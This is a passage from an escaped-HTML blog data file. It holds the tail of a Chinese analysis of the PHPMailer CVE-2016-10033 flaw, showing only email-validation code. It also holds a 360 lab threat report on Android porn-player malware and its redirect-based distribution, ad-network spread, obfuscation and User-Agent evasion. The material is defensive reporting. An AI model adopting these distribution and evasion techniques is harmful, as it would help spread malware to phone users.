class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pcre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eAn\u003c/span\u003e \u003cspan class=\"n\"\u003eolder\u003c/span\u003e \u003cspan class=\"n\"\u003eregex\u003c/span\u003e \u003cspan class=\"n\"\u003ethat\u003c/span\u003e \u003cspan class=\"n\"\u003edoesn\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;t need a recent PCRE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;/^(?!(?\u0026gt;\u0026#34;?(?\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[ -~]|[^\u0026#34;])\u0026#34;?){255,})(?!(?\u0026gt;\u0026#34;?(?\u0026gt;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[ -~]|[^\u0026#34;])\u0026#34;?){65,}@)(?\u0026gt;\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;[!#-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan class=\"s1\"\u003e*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?\u0026gt;[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x08\\x0B\\x0C\\x0E\u003c/span\u003e\u003cspan class=\"s1\"\u003e-!#-\\[\\]-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]|\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xFF\u003c/span\u003e\u003cspan class=\"s1\"\u003e]))*\u0026#34;)\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;(?\u0026gt;\\.(?\u0026gt;[!#-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan class=\"s1\"\u003e*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?\u0026gt;[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x08\\x0B\\x0C\\x0E\u003c/span\u003e\u003cspan class=\"s1\"\u003e-!#-\\[\\]-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x7F\u003c/span\u003e\u003cspan class=\"s1\"\u003e]|\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003e\\[\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xFF\u003c/span\u003e\u003cspan class=\"s1\"\u003e]))*\u0026#34;))*\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;@(?\u0026gt;(?![a-z0-9-]{64,})(?\u0026gt;[a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)(?\u0026gt;\\.(?![a-z0-9-]{64,})\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;(?\u0026gt;[a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?\u0026gt;IPv6:(?\u0026gt;(?\u0026gt;[a-f0-9]{1,4})(?\u0026gt;:\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,6})?\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;::(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,6})?))|(?\u0026gt;(?\u0026gt;IPv6:(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,4})?\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;::(?\u0026gt;(?:[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,4}):)?))?(?\u0026gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;|[1-9]?[0-9])(?\u0026gt;\\.(?\u0026gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$/isD\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;html5\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e/**\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eThis\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"n\"\u003eused\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003eHTML5\u003c/span\u003e \u003cspan class=\"n\"\u003espec\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003evalidation\u003c/span\u003e \u003cspan class=\"n\"\u003eof\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;email\u0026#39;\u003c/span\u003e \u003cspan class=\"n\"\u003etype\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"n\"\u003einput\u003c/span\u003e \u003cspan class=\"n\"\u003eelements\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003elink\u003c/span\u003e \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewhatwg\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003especs\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eweb\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eapps\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ecurrent\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ework\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"c1\"\u003e#e-mail-state-(type=email)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                 \u003cspan class=\"o\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;/^[a-zA-Z0-9.!#$%\u0026amp;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan class=\"s1\"\u003e*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"s1\"\u003e\u0026#39;[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;noregex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eNo\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"n\"\u003eDo\u003c/span\u003e \u003cspan class=\"n\"\u003esomething\u003c/span\u003e \u003cspan class=\"n\"\u003e_very_\u003c/span\u003e \u003cspan class=\"n\"\u003eapproximate\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003eCheck\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003eaddress\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"n\"\u003echars\u003c/span\u003e \u003cspan class=\"ow\"\u003eor\u003c/span\u003e \u003cspan class=\"n\"\u003elonger\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003econtains\u003c/span\u003e \u003cspan class=\"n\"\u003ean\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e \u003cspan class=\"n\"\u003ethat\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s not the first or last char\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003estrpos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003estrpos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003efilter_var\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILTER_VALIDATE_EMAIL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点\u003c/p\u003e","title":"PHPMailer 命令执行漏洞（CVE-2016-10033）分析"},{"content":"摘 要 360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。 大量可疑下载链接数指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。 可疑下载链接均来自重定向跳转，流量数据包中的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。 抽取相似网络流量特征看，表现出IP层、跳转层、下载层的三层控制分发模型。 通过对可疑域名的的追踪，发现了管理后台、分发的色情播放器类恶意软件以及网站使用的伪装手法。 色情播放器类恶意软件产业链从制作上看，包括恶意模块集成、免杀、视频教程、申请支付ID。 从传播上看，投放方式包括，网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。 从传播量大的原因看，其中一个是因为在不同时间内，同一链接可以灵活控制重定向到多个下载链接，并且通过检查浏览器UA标识来逃避审查。 从产业链规模看，2016年全年共捕获色情播放器类恶意软件超过800万；色情链接一周的访问流量高达830万余次。 开发者、广告主和网站主是产业链中的主要角色，他们各自拥有不同的技能与资源。 广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作，是传播量范围大的另一个原因。 以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势，主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。 通过在政策、社会、技术多层面协同联动，有力打击违法犯罪行为，切实净化网络文化环境。 关键词：色情播放器、流量黑产、移动平台、恶意软件\n第一章 冰山一角 随着互联网的迅猛发展和规模不断扩大，计算机网络不仅在工业、银行、科研教育等各个领域发挥重要作用，而且与我们的日常出行、购物、娱乐、社交等生活密不可分。网络在给我们带来便利的同时，也让一些不法分子嗅到了金钱的味道，产生了诸如钓鱼网站、DDOS攻击、DNS劫持、网络流量作弊、恶意程序分发等等黑色产业链。\n一、异常流量 网络流量监测作为计算机网络的基础部分，在互联网大数据下通过对流量曲线的检测和分析，可以在第一时间获取特定时期内的网络负载情况、负载变化情况，直观的评估网络环境的健康程度，对于发现网络流量中的异常行为，可以提早发现问题和网络威胁，组织防范或恢复措施，避免带来严重的问题和损失。\n360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。\n图1.1 异常流量曲线图\n二、可疑链接 我们通过持续关注和分析，发现了更多（只列举其中10个）存在相似行为的网络主机，并且发现了相似的URL链接。\n图1.2 可疑URL\n这些可疑链接指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。\n三、链接重定向 链接重定向[1]就是把一个URL重定向到另一个URL上去。重定向即是把一个目录或者文件的访问请求转发至另外一个目录或者文件，当用户发出相应的访问请求时将自动跳转到指定的位置，常见的重定向有301（永久重定向）及302（暂时重定向）两种。\n我们在溯源可疑下载链接的来源时发现，这些可疑链接都是在客户端请求某个链接时经过HTTP协议302码暂时重定向指向的链接。\n图1.3 重定向示意图\n每个独立的下载链接之间看似不相干，但实际上都是存在相互关联的。经过一段时间的观察，我们发现客户端在不同时间内请求同一个链接时，返回的重定向页链接是不同的，并且从抽取的流量包中还发现这些网络流量中所返回的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。这种链接重定向跳转机制导致出现了上面提到的大量可疑下载链接。\n图1.4 请求同一链接重定向到不同的地址\n四、分发模式 (一) 分层\n通过可疑下载链接的表现形式、利用的HTTP协议302码暂时重定向特性以及流量包中的固定特征“cdm=http”，我们关联出更多网络主机间的关系\n图1.5 更多网络主机关系\n它们之间关系表现为分层结构主要分为三层，中间层向上指向同一IP，向下指向多个下载链接，我们将上层命名为“IP层”，中层命名为“跳转层”，下层命名为“下载层”。\n图1.6 三层结构\n(二) 控制模型\n从上面的实例分析，我们抽象出一个三层控制模型，通过控制模型实现对色情播放器类恶意软件的传播。\n图1.7 三层控制模型\n下载层：表现为链接每天频繁地变化，出现和消亡的周期短，短时间内访问集中爆发； 跳转层：表现为采用HTTP协议302码暂时重定向，灵活切换控制下载层，与下载层相比数量相对收敛； IP层：表现为对跳转层的集中控制管理，与下载层和跳转层相比更为收敛，变化程度小。 第二章 始作俑者 色情播放器类恶意软件数量近几年呈现爆发式增长，软件总量达到千万量级，时刻威胁着用户手机及财产安全。“天下熙熙，皆为利来；天下攘攘，皆为利往”，这类恶意软件之所以“兴起”，它的背后一定潜伏着巨大的利益与诱惑。我们对色情播放器类恶意软件的来源、危害和传播方式进行了长期关注，揭开了其背后的黑色产业链。\n一、重要线索 我们通过网络流量的分析，在“mppay.net”域名下，发现了一个APK包的渠道分发状态后台。后台页面清楚得展示出400多个渠道编号、更新日期时间和对应的下载链接。\n图2.1分发后台\n页面分发的软件全部为色情播放器类软件归属与Trojan.Dropper.Android.FakeDebuggerd.B同一恶意家族，并且分发的软件每天都在更新，我们选取了一段时间内下载的软件进行了统计，其中包括“91爱妹视频”、“成人i影院”、“91爱色院线”等等。\n图2.2 分发后台下载统计\n“mppay.net”域名的备案信息显示，网站名称为“安卓图片”，注册人为汤某，官网地址为“www.mppay.net”。\n图2.3 备案信息\n图2.4辉煌国泰网页\n官网看似正常，但是我们发现几个细节比较可疑。首先，官网名称为“辉煌国泰”主要销售车载多媒体与备案名称信息不符；其次，官网所有的链接都为无效链接点击无效，并且在网页源码中我们发现“saved from url=(0038)http://www.xinpinhang.com/cn/index.php”\n图2.5辉煌国泰网页源码\n这个链接指向另一个名为“鑫品航电子”的网站，这个网站的链接跳转正常。“辉煌国泰”与“鑫品航电子”两个网站从架构到内容都高度相似。“辉煌国泰”仿冒他人网站内容作为掩护，实际上背后是色情播放器类恶意软件的分发平台。\n图2.6鑫品航电子网页\n通过数据查询，汤某还注册了多个域名，我们发现其他几个也都是一些仿冒网站，域名下存在管理后台暗中推广色情播放器类恶意软件行为。\n图2.7 域名注册信息\n二、产业链 (一) 制作\n1. 恶意模块集成\n开发者利用一些Root Exploit SDK部署恶意模块，从而达到窃取隐私、恶意扣费、静默安装等多种恶意行为。\n图2.8 寻求Root SDK合作\n2. 免杀\n开发者不仅在软件名称、包名、签名进行混淆，还对代码进行加固保护，试图绕过杀软的查杀策略，达到免杀目的。\n图2.9 Android木马逃逸术-软件名称混淆[2]\n3. 视频教程\n网上还有一些教授如何制作下载页面后台和替换下载链接的视频教程。\n图2.10 制作视频教程\n4. 申请支付ID\n开发者为了牟取暴利，在软件中还会集成支付插件，支付插件需要申请支付ID，一般申请条件分为：\n支持个人申请，不需要审核APP，直接拿到支付ID； 需要提供APP审核，审核通过后，才提供支付ID； 需要企业资质证明和APP审核通过后才能够申请支付ID； 为了申请的代价低，开发者一般会选用支持个人申请的支付插件进行嵌入。\n(二) 传播\n经过我们调查，色情播放器类恶意软件背后的产业链主要由开发者、广告主、广告联盟和网站主四部分组成，他们之间的运作方式如下：\n图2.11 运作方式示意图\n开发者将制作的恶意软件提供给广告主； 广告主负责寻求推广资源； 网站主负责接收推广任务； 广告联盟作为广告信息发布平台，将广告主的需求和网站主的资源联系在一起，负责恶意软件的投放并且管理分发统计后台，将推广数据提供给广告主查看。 1. 广告联盟\n广告联盟在整个产业链运作中扮演着重要的角色，成为色情播放器类恶意软件的背后推手。\n图2.12广告联盟网页推荐色情播放器软件\n图2.13 火爆TV推广联盟页面\n2. 投放途径\n1) 网页诱导\n利用诱惑的网站信息，诱导用户主动点击链接触发。\n图2.14 以预览图的方式诱惑点击链接\n2) 网页挂马\n在页面中嵌入javascript代码，在页面被访问时弹框下载\n图2.15 页面嵌入的恶意链接\n3) 广告推广\n在APP中植入广告，通过联网控制的方式进行展现推广。\n图2.16 APP请求广告内容\n4) APP捆绑\n在APP代码中直接嵌入链接，后台私自下载，捆绑安装。\n图2.17 捆绑在其他软件中\n5) 论坛\n在论坛上使用一些吸引人的字眼和贴图，欺骗点击量。\n图2.18 投放到论坛中\n6) 热门影视\n图2.19 投放到热门影视的信息中\n3. 控制模型的利用\n以网页挂马方式投放的链接“hxxp://vi.junm*.com/A627_kCFfNGrE”为例，该链接会通过302码进行重定向到实际的下载链接。\n图2.20使用控制模型传播\n从我们抽取的页面链接看，投放的链接一般处于控制模型的跳转层，访问后会重定向到真实的下载链接，所以在不同时间内，同一链接可以重定向到多个下载链接，灵活控制下载的恶意软件。\n4. 逃避审查\n色情网站一直是有关部门的重点打击对象，在Symbian手机时代通过切换手机网络接入点，造成访问同一个网址在PC上显示正常，而手机访问是色情网站，逃避审查的目的。\n进入Android和IOS手机时代，我们发现主要是通过检查浏览器UA标识来逃避审查。\n图2.21电脑访问\n图2.22 Android（左）和iPhone（右）访问\n(三) 收益\n图2.23 资金流向示意图\n1. 明扣：诱惑充值\n图2.24 用户投诉案例[3]\n2. 暗扣：恶意扣费\n图2.25 扣费包宣传页面\n3. 每日收益\n图2.26 每笔25元\n图2.27 一些渠道每日的收益\n图2.28 每笔收入28到38元\n图2.29 支付记录\n4. 产业链规模\n2016年全年360烽火实验室捕获色情播放器类恶意软件超过800万，平均每天捕获超过2万余个。\n图2.30 2016年每月新增数量统计\n在移动平台上，抽取了一周色情链接访问情况。色情链接一周的访问流量高达830万余次，以此估算平均每天访问接近120万次。\n图2.31 色情链接一周访问流量统计\n三、组织画像 (一) 开发者\n开发者即产品的设计制作人员，不仅要具备正常研发人员的设计、编码和测试能力，还要了解杀软的查杀策略，具备一定的免杀技术。\n图像处理软件能力：通过专业的图像处理，针对典型的色情播放器类恶意软件设计诱惑图标内容，达到吸引用户安装的目的； 编码能力：具备一定的语言编码调试能力，能够在不同的编译环境下使用； 开源代码利用能力：具备利用一些开源的漏洞利用代码，并且还能够集成一些恶意广告的SDK的能力； 免杀能力：能够分析或猜测杀软查杀原因，通过基础信息混淆和核心代码保护的方式，试图绕过杀软查杀特征； 